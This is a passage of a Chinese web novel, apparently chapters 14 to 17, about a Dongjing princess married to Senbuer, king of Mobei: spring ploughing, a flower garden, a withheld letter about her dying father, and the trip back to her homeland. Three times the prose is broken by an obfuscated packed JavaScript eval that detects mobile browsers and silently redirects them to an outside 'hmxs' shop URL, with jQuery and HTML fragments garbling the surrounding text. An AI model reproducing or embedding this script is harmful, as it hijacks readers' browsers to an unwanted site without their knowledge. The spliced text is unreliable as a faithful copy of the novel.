倘若今天不是他及时赶到制止,让那东靖使臣死在了漠北地界上,那双方就是不想打,也非得即刻开战不可。
这样的天气,对于仰仗战马的漠北铁骑来说,并不占优势,结局很有可能是两败俱伤。
他揉了揉怀里人的脑袋,硬邦邦道:“行了,这些事情我自有打算,你就别操心了。”
“可是……”
江熹禾抬起头,还想说什么,却被他凶巴巴的眼神打断了。
“你再说这些不爱听的,我就亲你了啊!”
“……”
江熹禾无奈轻叹口气,沉默下来。
森布尔像哄小孩似的拍了拍她的背,“有我抱着你,应该不冷了吧?快睡吧。”
.
又在帐子里窝了两个月,最难捱的寒冬总算缓缓退去。
这个冬天有森布尔守在身边,江熹禾倒是好受不少,身上的旧伤没怎么疼过,人也渐渐养回些精神,脸颊上多了些血色。
冰雪消融,原野上已经能望见点点新绿。
森布尔已经迫不及待脱下了厚重的皮裘,只穿着一身单薄利落的束口袍子,带着族人正在开垦荒地。
他们今年要扩大种植范围,沿着开采好的水渠,清理着沿途的碎石和杂草。
漠北的冻土坚硬如铁,森布尔调来了骑兵营最强壮的汉子,一伙儿人扛着农具,在草原上忙得热火朝天。
江熹禾带着桃枝远远走来,把手里拎着的食盒和茶壶放在田埂边的石头上。
她倒了碗凉茶,晃晃悠悠朝森布尔走过去。
森布尔正弯腰清理一块顽固的石头,余光瞥见她的身影,连忙丢下手里的锄头去迎。
“慢点,当心脚下的石头。”
江熹禾站定,把手里的茶碗递给他,用拿出帕子帮他擦汗。
“忙了两三个时辰了,带大家歇会儿吧。”
“不用,等这片地清完了再歇,”森布尔一口饮尽茶水,伸手拢了拢她的外袍,“你出来干嘛?这儿有我就行了。”
春日的阳光洒在脸上,把她颊边的碎发染成了浅金色。
江熹禾拢了拢被风吹得飞舞的发丝,笑道:“今日天气好,我出来晒晒太阳。”
她回头指了指桃枝身边的食盒,“我还让厨房做了麦粥,给大家补充体力。”
不远处,传来一阵铁锄砸土的脆响。一下接着一下,像是带着不满在发泄。
看见田边那两道亲昵的人影,络腮胡一边愤愤地挥舞着锄头,一边抱怨道:“我看大王就是被那妖女给迷惑了心智!这么好的天气不去练兵,反而带着咱们在这儿开荒!简直胡闹!咱们漠北的铁骑什么时候要靠种地过日子了?”
此人名为图门,便是之前虐待东靖战俘,想要收辛夷做马奴的那人。只因被江熹禾横插一脚,后来还害他被大王责罚,所以愈发对王妃怀恨在心,这次也是趁机发泄心中不满。
身边有人听见他的抱怨,立刻附和道:“是啊,咱们漠北儿郎,就应该在马背上舞刀弄枪,而不是在这地里挥锄头!这要是让东靖人知道了,岂不笑话咱们!”
“就是啊!我们去抢东靖的粮,占东靖的地不就得了!哪用得着在这土里刨食!”
两人你一言我一语地抱怨着,图门见身边人都应和自己,胆子更大了些,突然转头看向一旁沉默干活的塔林,想要拉这位骑兵营统领入伙。
“塔林统领,你是不是也这样觉得?自从大王娶了这个东靖妖女,这几年脑袋真是愈发糊涂了!放着好好的仗不打,倒学起东靖人的样子种地来了!再这么下去,咱们漠北的威风都要被败光了!”
图门凑过去几步,刚想去攀他的肩,塔林却像没听见似的,高高挥起锄头,猛地把面前巨大的石块劈成了两半。
碎石飞溅,吓得身边几人都缩了缩脖子。
知道的他是在开荒,不知道的还以为他在给仇人分尸呢。
图门也被这动静吓了一跳,咽了咽口水,默默离他远了一些。
塔林一脚踹开挡在面前的杂草,终于抬头抹了把汗,目光沉沉地看向江熹禾的背影。
青格勒也混在一群大人中间,一趟一趟来回跑着清理碎石,忙得满头大汗。
桃枝倒了碗茶走到他面前,故意逗他:“喝口茶歇会儿吧,别被石头压得不长个儿了。”
青格勒抬头白了她一眼,兀自搬起一块儿大石头,踉踉跄跄地朝着外围去了。
桃枝叉着腰,对着他的背影气道:“嘿!这小子,忒不识抬举!”
森布尔拉着江熹禾在田埂边坐了会儿,手指在面前广阔的原野上画了个圈。
“这两天我带人把这一片荒地都开垦出来,等土松透了,再安排人帮你播种。这样等秋天到了,咱们部落就能囤下一大批粮食,说不定还能拿去跟胡和鲁换些牛羊回来。”
江熹禾顺着他手指的方向看去,似乎已经可以想象到那片一望无际的麦田。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730411|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她眼底盛满喜悦的光,轻声对他说:“王,谢谢您。”
如果没有森布尔的全力支持,她的春耕计划绝对不会这么顺利。
森布尔被她这突如其来的道谢说得一愣,偏过头,不自在地摸了摸鼻子。
明明是帮漠北人造福,怎么她反倒还谢起自己来了?
“咳……”他清了清喉咙,站起身,“我继续干活儿去了,你赶紧回帐子吧,这儿风大,你身体这么差,别又吹着凉了。”
“到时候你病了,我白天干活,晚上还得回去照顾你,麻烦死了……”
他低声嘀咕着走远了,没说完的话落在风里。
江熹禾坐在石头上,看着他略显僵硬的背影,忍不住低头笑了。
.
春日的暖阳洒在漠北军营的校场上,森布尔在高台上负手而立,目光锐利地扫视着场内操练的队伍。
队伍最末尾,图门的动作明显慢了半拍。
他松松垮垮地握着长枪,扎马步时左右乱晃,目光还时不时瞟向校场边的树荫,显然是想偷会儿懒。
森布尔很快就注意到了他,沉声道:“图门!出列!”
图门吓了一跳,手里的长枪差点掉在地上。
他不情不愿地出列,低着头走到高台下方,嘴里还小声嘀咕:“又怎么了……”
森布尔走下高台,站在他面前,“你刚刚是怎么扎的马步?再扎一个我看看。”
图门飞快地抬头瞟了他一眼,双腿张开半蹲,摆好架势。
森布尔眉头一沉,突然伸腿横扫。图门重心不稳,结结实实地摔在地上。
身后的队伍里传来窸窸窣窣的窃笑声,图门涨红了脸,连忙爬起来重新站好,嘴唇动了动,却没有发出声音。
“马步扎成这样,还想上阵杀敌?”森布尔毫不留情道,“你对练兵就这个态度,不如就留在牧场放羊好了!”
图门被骂得抬不起头,却仍是不服气地小声辩解道:“才连续开了好几天的荒,浑身上下到处都疼,胳膊酸得抬不起来,哪儿还有力气练武啊……”
“开荒的时候也没见你怎么卖力,练武的时候又说没力气,”森布尔说着,突然指向队伍边缘的青格勒,“看看你这幅不中用的样子,连小孩子都不如!”
青格勒突然被点到名,原本就绷得笔直的脊背挺得更直,一脸骄傲地扬起了下巴。
森布尔回到高台,对着台下整齐的大军沉声道:“都听好了!开荒是为了让族人们冬天有粮吃,练兵是为了让你们能护住自己的家园,这两件事,缺一不可!不要靠找借口偷懒!继续练!”
“是!”
将士们齐声应答,校场上的操练声又热烈起来。
图门还垂着头站在台下,紧紧握着拳头,心里又羞又恼,却不知道自己该做点什么。
森布尔晾了他好一会儿,才终于开口:“图门,去跑马场上跑十圈,身上不疼了再回来。”
图门深吸口气,咬牙应了一声:“遵命!”
森布尔看着他远去的背影,暗自叹了口气。
漠北的将士,大多习惯了在马背上征战,对开荒种地本就抵触,想要让他们完全理解耕战结合的道理,还需要些时间。
不过没关系,等到今年秋收之后,闻着新粮的香气,看着充盈的粮仓,他们自然会明白江熹禾的良苦用心。
15. 花海里的神女
校场上的操练持续到日头偏西,等到最后一队将士完成长枪演练,森布尔才抬手示意解散。
他走下高台,接过侍从递来的水囊,仰头灌了几口,目光望向校场尽头的原野。
那里的田地已经开垦完毕,今日该是播种的日子。
江熹禾一早便说要去田间盯着,他心里记挂着,就没回营帐,径直朝着田埂的方向走去。
晚风带着泥土的湿润气息,吹在脸上格外舒服。
越靠近田间,越能听见族人的谈笑声。
森布尔放慢脚步,远远望去,只见田地里散落着不少身影,族人们弯腰弓背,手里攥着粟米种子,正在按照江熹禾教的方法,均匀地撒在翻好的土沟里。
江熹禾今日没穿平日里的锦缎衣裙,而是换了一身便于劳作的浅青色短打。
裙摆被随意束在腰间,露出纤细的脚踝,裤腿上还沾着些泥土。
她手里捧着一个布袋子,正弯腰站在田边,耐心地给身边的老妇人讲解着什么。
说着,她还伸手在泥土里划出浅浅的印记,亲自撒了一把种子做示范。动作熟练得不像个养尊处优的王妃,反倒像个常年劳作的农妇。
森布尔站在田埂边的树下,目光落在江熹禾身上。
她在东靖是备受宠爱的昭华公主,宫里有专门的侍女伺候,连端茶倒水都不用自己动手,更别说下地劳作了。
他想象着她在东靖皇宫里的模样。
她可能会穿着华丽的宫装,戴着精美的首饰,梳着一丝不苟的发髻。安安静静地坐在窗边看书,画画,身边围着一群人照顾。
而不是现在这样,束着裙摆踩在泥地里,手把手教族人播种,撑着一副孱弱的身子还在为部落的口粮操心。
森布尔想着想着,心里突然生出一股酸涩的愧疚和心疼。
江熹禾似乎察觉到了他的目光,抬头朝着田边看来。
见是森布尔,她立刻露出灿烂的笑容,对他挥了挥手。
“王!您来了!”
森布尔回过神,压下心里的复杂情绪,朝着她走过去。
江熹禾把布袋子还给一旁的老妇人,提着裙摆小心翼翼地往田埂边走。
森布尔几步就跨了过去,俯身抄过她的腿弯,就把人抱了起来。
“这路不好走,你别摔了。”
江熹禾没有拒绝,顺从地靠在他怀里,等他抱着自己走到田埂外的平地上,她才从他怀里挣脱出来,俯身拍了拍裤腿上的尘土。
“大家都很配合,播种进度很快,估计要不了几天,这片地就能全部种完了。”
森布尔盯着她脸上的汗水,忍不住伸手替她把脸颊边的碎发勾到耳后。
“部落里有这么多人干活呢,你干嘛非得亲自上手?”
江熹禾笑了笑,抬头看向田里劳作着的人们,“大家对播种还不是很熟练,我总得亲自盯着心里才踏实。这毕竟关系到部落的来年的口粮,还是得慎重些好。”
森布尔站在她身后,垂下视线看着她的发顶。
一头青丝被浅色的丝带挽成了简单的发髻,没有任何珠宝装饰,发间甚至还沾着一点泥土。
他故意板起脸,嘴上不饶人:“随便你,不嫌累你就继续干吧,回头腿疼腰疼了,别指望我给你揉。”
江熹禾失笑,低头乐了好一会儿,忽然抬头看着他,眼睛亮亮的。
“王,我种的花应该都开了,我们去花圃看看吧。”
森布尔看着她的眼睛,此刻除了“好”,什么别的话也说不出来。
两人牵着手,踏着夕阳走在田埂边,身后是族人的谈笑声,面前是通往花圃的篱笆小路。
这片花圃,是江熹禾来到漠北的第二年亲手开辟出来的。
那时她还住在营地边缘的破落帐子里,漠北的冬天很冷,冷到骨头缝里都结着冰碴,冷到即便开了春也感受不到一丝温暖。
那天她去河边洗衣,回来时绕到帐子背后,意外在杂乱的杂草丛里,看见了点点明亮的黄色。
后来她才知道,这种花叫做毛茛花,是漠北草原独有的品种。
她惊讶于毛茛花的生命力,即使冬天再冷,雪下得再厚,但只要春天一来,它们还是会争先恐后地盛开。
从那以后,江熹禾在帐外开垦出一小块空地,种下她四处搜集来的花种。每天浇水、除草,就连病中也不会忘了去打理她那方小小的花圃。
后来在森布尔的帮助下,这片花圃几经扩建,现在已经成为了颇为壮观的花园。一到春天,总会吸引部落里的孩子们在里面嬉戏,追着蝴蝶满园子跑。
江熹禾指着园子里的一片金黄,笑着对森布尔说:“王,您看,毛茛花开得正好呢。”
柔和夕阳洒在花海上,把黄色的花瓣染得格外明亮,像撒了一地的碎金子。
不不远处的几株杏花树也赶趟似的开了花,淡淡的粉色花朵缀满枝头,花瓣薄得像蝉翼,像极了她害羞时微微泛红的脸颊。
紫色的马兰花也开得正盛,一簇簇开在花海边缘,浓淡相宜的明艳色彩交织成趣,把整个花圃变成了一副精心晕染的画。
在这片花海的衬托下,江熹禾回过头,对森布尔弯了弯眼睛,问:“漂亮吗?”
森布尔看得彻底呆住了。
他张了张嘴巴,脑子里的思绪像是被这花海搅乱了,只剩下最直白的感受。
“漂亮。”
是啊,太漂亮了。
她一直都很漂亮。
身上穿着的是绫罗绸缎还是粗布短打,头上戴着的是珠翠凤冠还是山中野花,都丝毫不影响她的美。
她是尘世间难得一见的绝色,是来人间渡劫的神女。
哪怕落入污泥、跌入尘埃,也难掩那份骨子里的剔透。
可这份美又太易碎,太遥远,有时候看着她单薄的背影,总觉得她像风一样,好像一眨眼,就会从自己身边消失。
像是怕手中沙会漏、风中花会散。森布尔心头突然涌起一股强烈的恐慌,他大步上前抓住她的手,猛地把人拽进了怀里。
“王?”江熹禾不懂他这是怎么了,但也没挣扎,只是轻轻拍了拍他的背。
森布尔紧紧抱了她许久,直到压下心头的不安,才终于放开手。
江熹禾浅笑着歪了歪头,问:“好些了吗?”
森布尔慌乱地躲开视线,牵起她的手就往回走。
“忙了一天都不知道饿的吗?今晚我亲自盯着你,必须吃完两碗饭才能睡觉!”
江熹禾:“……”
风里的花香渐渐淡了,取而代之的是从营帐飘来的炊烟气息。
两道身影被夕阳拉得很长,逐渐纠缠在一起,融入天边的暖光里。
.
春耕热热闹闹地持续了好几天,最后在森布尔的帮助下,终于顺利完成。
江熹禾总算可以松口气,这几日得了闲,没事就待在她的花圃里侍弄花草。
“王妃!”
桃枝气喘吁吁地跑来,凑到她耳边急切道:“东靖使臣来了!”
江熹禾愣了一下,连忙丢下手中的花枝,提起裙摆跟着桃枝跑了出去。
营地门口,几辆东靖制式的马车被漠北士兵团团围住。已经有人去校场通知森布尔了,现下这些人只能在原地等待,车厢里的人也不敢随意出来。
江熹禾急匆匆赶了过来,守卫见了她,齐声唤道:“王妃。”
马车内的姚学真听见动静,立刻推开车门,一眼便看见了人群外围的江熹禾。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730412|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>阔别七年,上一次见到昭华公主,还是在东靖皇宫外,送她去漠北和亲的那天。
那时的她穿着大红嫁衣,脸上是平静之下的决绝。明知即将踏上的是一条不归路,但她却挺直脊背,像株倔强的梅。
如今再见,这位公主已经褪去了当年的青涩,多了几分沉稳,可眉眼间的轮廓,还是他记忆中的模样。
姚学真老泪纵横,跳下马车对着江熹禾抱拳弯腰,沉声道:“老臣姚学真,见过昭华公主。”
江熹禾看着眼前白发苍苍的姚学真,亦有些动容,连忙拨开人群,在他面前站定。
“快快请起,姚大人不必多礼。”
周围传来不屑的嗤笑声,几个年轻的漠北士兵,看着姚学真对着东靖公主躬身行礼,脸上满是鄙夷。
姚学真抹了把脸上的泪痕,低声关切道:“七年不见,公主在漠北……可还安好?”
“我这边一切都好,”江熹禾点头应了一句,又连忙问道,“姚大人,我父皇近况如何?身子可还康健?”
姚学真听见这话,却突然愣了,瞪大了眼睛,“公主……先前老臣带来的家书,您没有收到?”
“什么家书……”
江熹禾的心猛地一沉,这才回想起,几个月前,森布尔曾去边城营地会见过东靖使臣,回来时神色如常,半句没提过家书的事。
难道那时父皇的信就到了,却被森布尔扣了下来,连半点消息都没透露给她?
姚学真一看她的脸色,瞬间就明白了原委,连忙道:“公主,陛下他年前就已经病重了,宫里的太医天天用灵丹妙药吊着,可身子还是一天比一天弱。陛下病重昏沉,可还是念念不忘他的昭华公主,一直想着再见您一面啊!”
江熹禾听着,眼泪再也止不住,“姚大人,我……”
她话未说完,就被一阵沉重的脚步声打断。
森布尔带着人从校场赶了过来,身上还穿着演武用的战甲,腰间挂着半人高的佩刀。甲胄碰撞的“铿锵”声里,无形的威压震得众人纷纷低头退让。
他一眼便看见了江熹禾脸上的泪痕,不由压下眉头,吩咐道:“把东靖使臣带去王帐,闲杂人等禁止靠近!”
“是!”
姚学真被人强行带走,江熹禾徒劳地追了两步,却被森布尔身边的侍卫拦下。
森布尔侧过身,冷冷地斜睨着她:“王妃累了,回帐子里休息吧,别到处乱跑。”
“王!”江熹禾喊了一声,却无法制止他离开的脚步。
很快,营门口的人都散了,只剩下江熹禾和桃枝站在原地。
“父皇……”
江熹禾轻声呢喃,那两个字刚出口,眼泪就又忍不住往下掉,砸在脚下的尘土里。
“王妃!”桃枝连忙扶住她,却又不知该如何安慰。
江熹禾在帐子里端坐着,从午后一直等到天黑。
桃枝第三次端来饭菜,苦口婆心地劝道:“王妃,您先吃点东西吧。就算心里再急,也得先保重自己的身子啊!”
江熹禾摇摇头。
父皇病危,此生也不知还能否再见一面。七年前宫门口一别,竟可能就是永别。这样的念头让她心如刀绞,嘴里满是苦涩,哪里还咽得下饭菜。
桃枝叹了口气,还想再劝。
帐帘突然被人掀开,森布尔沉着脸踏了进来。
江熹禾立刻起身,迎了上去,急切问道:“王,您跟姚大人谈得如何?我父皇如今情况怎么样了?”
森布尔并没有直接回答她的问题,反而看了一眼桌上没动过的饭菜。
“你这是什么意思?跟我绝食明志?”
江熹禾顿了顿,没有说话。
桃枝在一旁看得心惊,连忙行了个礼退了出去。
16. 爆发争吵
等帐子里只剩下他们两人,江熹禾才开口道:“先前姚大人托您转送家书,您为何瞒着没有给我?”
“瞒着你?”森布尔冷哼一声,“东靖人递来的信笺,岂能说给就给?谁知道里面藏了什么猫腻,有没有包藏祸心!”
江熹禾忍着眼泪,“那您大可拆封检查后再给我,何必让我像个聋子,瞎子!若非今日偶遇姚大人,我连父皇近况都无从知晓!”
她性子温和,平日里与世无争,连大声说话都很少。在漠北这么多年,还鲜少有过这样动怒的时候。
森布尔刚端起茶碗,听见她这话,又猛地把茶碗掼在桌上,怒道:“我是漠北的王!一封信而已,我想怎么处置就怎么处置!你有什么资格教训我!”
“七年未见,父皇病危,我身为女儿,却如同置身事外……”江熹禾痛苦地闭上眼睛,眼泪无声蜿蜒而下。
森布尔拧着眉头看她:“让你看了又如何?难道你还想回去见他?东靖和漠北相距千里,沿途都是战乱,你根本走不了!反正你也不可能回去,索性就当不知道,安安稳稳在漠北待着不就好了!”
江熹禾耳朵里嗡鸣不止,身形晃了晃,扶着桌角才勉强站稳。
森布尔下意识伸手去接,却又在半空中生生忍住,猛地握紧拳头收了回来。
帐内陷入死寂,细碎的哭声被死死压抑在喉咙里。
森布尔不断用余光偷偷瞟着江熹禾,只觉得那人伤心垂泪的样子,看着像是快碎了。
“别哭了!看得人心烦!”
他终于忍不住,咬了咬牙,突然起身走到角落,从衣橱里翻出那封家书,一把扔到她身上。
“不就是一封家书吗?既然你这么想看,那就给你看好了!”
江熹禾怔了一瞬,连忙低头打开信笺。
这封信森布尔已经早就看过了,左不过就是东靖皇帝写的一些酸溜溜的话,什么对不起女儿,想念女儿之类的空话罢了。
他有什么好对不起的,当初不就是他贪生怕死,所以才亲手把女儿送来的漠北吗?现在大限将至又在这里忏悔上了,简直可笑!
江熹禾一行一行地看着,握着信纸的手抖得越来越厉害。
信中提到皇帝病情危急,自觉时日无多,临终之前唯一放心不下的,就是远在漠北的昭华公主,怕她在这边受了委屈,怕她再也回不了东靖……
可是距离这封信写下,已经过了一整个冬天,以父皇那副枯朽的身体,现在还……
江熹禾不敢再往下想,捂着脸恸哭出声。
似是不忍看她这么绝望,森布尔磨了磨后槽牙,硬邦邦地安慰道:“别哭了,东靖皇帝还没死呢。”
江熹禾哭声一滞,抬起朦胧的泪眼看着他,“……真的?”
森布尔被这眼神看得心头一软,别扭地拉着她在床沿坐下,轻轻圈住她的肩膀。
“这次姚学真来漠北,也是为了这事。”
江熹禾哽了哽,抬头问他:“父皇想见我?”
森布尔点了点头,脸色依旧阴沉,但语气总算缓和了许多。
“东靖那边的意思,是想让你回去见他最后一面。但我不可能就这样放你跟他们回东靖,可是若我带人全程护送的话,东靖人又未必答应。”
万一江熹禾跟着姚学真走了就不回来了怎么办?
他虽然不忍心看她这么伤心,但也不愿拿这件事情去冒险。
如果森布尔也要跟着进城,那对双方来说,都是一次刀尖舔血的试探,风险太大了。
江熹禾明白他的顾虑,低头想了想,哑声道:“王,明日让我跟姚大人谈一谈吧,一定能商量出两全之法。”
“哦?你是想跟他单独谈?还是当着我的面儿谈?”森布尔故意问。
江熹禾叹了口气,轻声道:“您不必这样试探我,我没什么需要瞒着您的。”
“这还差不多,”森布尔哼笑一声,抬手捏了捏她哭到泛红的脸颊,“我让厨房送饭过来,你乖乖吃完了,明日我就带你去。”
虽然江熹禾现在一点胃口都没有,但也只能硬着头皮答应。
几乎一夜未眠,天刚蒙蒙亮,江熹禾就从被窝里翻身出来,推了推身边的人。
“王,该起了,我们去见姚大人吧。”
“急什么,再睡会儿。”
森布尔眼睛也不睁,直接长臂一揽又把她按回了怀里。
江熹禾拧着身子挣扎了几下,实在是等不及了,“那您再睡会儿,我先起床洗漱。”
森布尔撩开眼皮,揉了揉她的眼角,“昨晚哭得眼睛都肿了,不再睡会儿养养精神?还是你想这幅样子去见姚学真,让他看了又觉得你在漠北受了委屈?”
江熹禾用手背蹭了蹭眼皮,“我……”
“我去拧个湿帕子来给你消消肿,”森布尔打断她,利落地翻身下了床,“姚学真来都来了,没商量出结果之前又不会跑,你不用急。”
江熹禾躺回床上,看着他的背影,几不可闻地叹了口气。
另一边的王帐里,姚学真也是一夜未眠,眼下挂着两个硕大乌青,早早就赶来了这里候着。
初入漠北,他本就水土不服,这里的食物都带着浓郁的膻味,一口也咽不下去。明明已经开了春,东靖那边早就春暖花开,漠北的夜里却还是寒气入骨,冻得人手脚发僵。
这般恶劣的条件,那位从小娇贵长大的昭华公主,也不知道这几年是怎么熬过来的。
他正胡思乱想着,忽然听见帐外传来脚步声,门外的守卫们齐声唤了了句:“参见大王!”
姚学真连忙从椅子上站起身,理了理袖袍上的褶皱。
森布尔掀开帘子,先是看了里面的姚学真一眼,这才侧过身,让身后的江熹禾走了进去。
姚学真再次见到江熹禾,神色依旧难掩激动:“参见漠北王,王妃。”
江熹禾的眼睛已经不肿了,只是脸色还有些苍白,神色却平静了许多,对他抬了抬手,温和道:“姚大人不必多礼,坐吧。”
森布尔径直走到主位坐下,自顾自倒了碗茶,冷笑道:“姚大人倒是积极,这么早就来王帐候着,可是昨夜没睡好?”
“不敢劳烦大王挂心。”
姚学真拱手道:“大王,在下昨日跟您提的建议,您考虑得如何了?”
森布尔摩挲着茶碗边缘,沉默了片刻,才缓缓开口:“本王倒是想知道,姚大人打算怎么保证,王妃随你去了东靖,还能平安回到漠北?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730413|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姚学真心头一紧,连忙解释道:“王妃此次只是回城探亲,一来是了却陛下临终前的心愿,二来也是成全他们父女间的亲情,绝无其他意图!等见过陛下之后,在下必定亲自护送,确保王妃毫发无损地回到漠北,绝不食言!”
森布尔摆摆手,不耐烦道:“什么心愿不心愿的,关我屁事!我只问你,如何保证我的王妃还会回来?!”
“这……”
姚学真一时被问住了,求助的眼神看向一旁的江熹禾。
“王……”
江熹禾刚准备开口,就被森布尔按住手背。
“本王也不是那蛮不讲理之人,王妃想回去探亲,我不拦着,但我也有条件。”
姚学真躬身:“大王但说无妨。”
森布尔眯了眯眼睛,沉声道:“本王要带一支精锐铁骑,全程护送王妃回城。见过老皇帝之后,东靖军队不得阻拦我们出城,更不能以任何理由扣留王妃。否则,别怪我漠北铁骑,踏平你们东靖的城门!”
放一支漠北的精锐铁骑进皇城?这跟敞开胸怀迎接敌人的尖刀有何区别?
姚学真脸色惨白,头上渗出冷汗,深深垂着脑袋不敢接话。
此事事关重大,他不敢轻易做主,更不敢替东靖承担这样的风险。
帐内气氛凝滞,谁也不肯退后一步。
三人沉默良久,终于还是江熹禾开口打破了僵局。
“姚大人,我以性命担保,漠北铁骑进城后,不会主动对东靖出手。届时铁骑驻扎在皇宫外待命,独我一人随大人进宫,觐见父皇。这样一来,既可以把风险降低到最小,又可以了却父皇的心愿,您看如何?”
这法子听起来倒是还有几分可行性。
可还没等姚学真开口,森布尔就率先反驳道:“不可,我必须待在你身边,你要进宫也得带我一起。否则这事免谈!”
进了东靖的地盘,万一东靖皇室出尔反尔,把她扣在宫里,那到时候他连抢人的机会都没有。
皇帝病重不假,想见女儿的心也不假,若这次还是带不回公主,恐怕很难回去交差。
姚学真左思右想,还是硬着头皮道:“在下可以做主,让大王和王妃一同进宫。但边关铁骑必须退至边境二十里以外,在王妃探亲期间,不得越过边境线一步。”
此话一出,帐内再次安静下来。
姚学真垂着头,心脏砰砰直跳,生怕森布尔一口拒绝。
他知道这个条件依旧苛刻,可这已经是他能争取到的最大让步了。
说到底,两边都必须捏着对方的把柄,互相制衡,方才能成全这场探亲。
森布尔皱着眉头,陷入沉思。
退至二十里以外,意味着一旦出事,他的铁骑没法第一时间支援,只能靠随身护卫硬闯,风险太大。
可当他余光瞥见江熹禾紧张又期待的眼神,终于还是不可避免地心软了,妥协道:“可以。但我丑话说在前面,若是你们敢耍花样,哪怕铁骑大军在二十里外,我也有办法让东靖皇宫鸡犬不宁,让你们得不偿失!”
姚学真一听这话,悬着的心终于落了地,连忙躬身应道:“大王放心!在下即刻给东靖传信,安排两位进宫的事宜,绝不敢有半分怠慢!”
17. 阔别七年的故土
漠北王要带着王妃去东靖,此事在部落里掀起轩然大波。
族人们议论纷纷,有人担心王妃一去不回,有人怕东靖设下陷阱,更多的人是觉得不该为了一个东靖公主,让大王以身犯险。
塔林主动请缨,申请带军随行,但是鉴于他此前险些暗杀东靖使臣的行为,森布尔认真考虑过后,还是拒绝了他。
他此次点了一支上百人的精锐铁骑小队,这些人都是跟着他征战多年的老兵,个个身手矫健,忠心耿耿。另外,甚至还带上了跃跃欲试的青格勒。
从漠北王庭到东靖皇宫,马车不眠不休地跑,也得十天才能到。这是江熹禾离家七年,第一次重回故土。
偏帐内,桃枝忙着帮她收拾行李,一脸不服气地小声嘀咕:“大王也太不讲理了!凭什么不让我跟着您啊?路上一来一回这么久,总得有个人照顾您啊。”
江熹禾把叠好的衣物摞在一起,无奈道:“他怕我走了就不回来了,总要留个人质在这里才放心。”
桃枝愣了愣,随即反应过来,大王这是肯定自己在王妃心里的分量,确信王妃一定不会丢下她啊。
她压着嘴角的得意,却还是忍不住偷偷嘟囔:“不就是回去探个亲吗?至于这么谨慎?我看纯属是他心眼太小!”
江熹禾失笑:“你这丫头,胆子真是越来越大了。这话跟我说说也就罢了,若是在外面让人听了去,恐怕没你好果子吃。”
桃枝撇了撇嘴,拉住江熹禾的手,“王妃,您路上当心,凡事多留个心眼,一定要平安归来啊。”
江熹禾抚了抚她的头发,温声道:“放心吧。”
休整三日后,铁骑大军护送着这几辆马车上了路。
车帘被风掀起一角,江熹禾独自端坐在车内,看着越来越远的漠北王庭,心情很是复杂。
当初她嫁来漠北,七年间从未走出过这里。如今第一次回东靖,却是为了探望病重的父皇。
前路漫漫,此番快马加鞭往回赶,也不知还能否见到父皇最后一面。
她正低着头黯然神伤,忽然感觉马车一沉,随后森布尔便打开车门,俯身挤了进来。
这马车空间狭小,以他过于高大的身形来说有些憋屈,但他还是弯着腰,小心翼翼凑到了江熹禾身边坐下。
江熹禾看着他,还以为他有话要说,“王,怎么了?”
森布尔不自在地摸了摸鼻子,“没什么,怕你一个人待着无聊,就进来看看。”
他握住她的手,只觉得入手一片冰凉,“很冷吗?要不我让人给你加个炭盆?”
江熹禾摇摇头:“不必了,赶路要紧,莫要为我耽误了行程。”
森布尔想起桃枝收拾行李时,特意往包裹里塞了羊毛毯子和汤婆子。他当即俯身,在木箱里翻腾了一会儿,找出毯子盖在她身上,又拿起汤婆子,起身就要往外走。
“你等会儿,我去给你灌热水。”
江熹禾伸出手,刚想说不必麻烦了,可森布尔动作很快,眨眼间已经推门踏了出去。
江熹禾望着他的背影,轻轻叹了口气。
她怎会不明白森布尔的心意?此次为了让她回东靖见父皇,他力排众议,做了极大的牺牲和退让,甚至冒着被东靖算计的风险也要亲自随行。
他总爱用最别扭的方式表达关心,从不说软话,却会把爱意藏在行动里。
其实她又何尝不是这样?从未把心意宣之于口,这才会让森布尔总是不安,像个小孩一样患得患失。
车轮碾过青草,马车一路往前疾驰着。
江熹禾觉得,有些话不必非得说出口,她和森布尔相伴七年,早已在日复一日的相处里,养出了旁人不及的默契。只要一个动作,一个眼神,就能立刻明白对方的所思所想。
道路不平,马车颠簸不止,江熹禾在车里坐久了有些难受,好在森布尔照顾得还算周到,倒也还能坚持下去。
姚学真在前方带路,引着这支浩浩荡荡的队伍一路进了城。
这里就是漠北久攻不下,觊觎已久的东靖都城,是他们在草原上听过无数次的富庶之地。
漠北将士们骑着战马,忍不住好奇地四下打量。
城内的景象,与漠北截然不同。这里有鳞次栉比的青砖瓦墙,还有小桥流水,市集人家。
青格勒跟在队伍末尾,眼睛瞪得溜圆,恨不得长满八只眼睛都不够看。
进城之后,森布尔就没有再待在马车里,而是骑着他的黑色战马位于队首,既是对东靖人的威慑,也是对身后铁骑的约束。
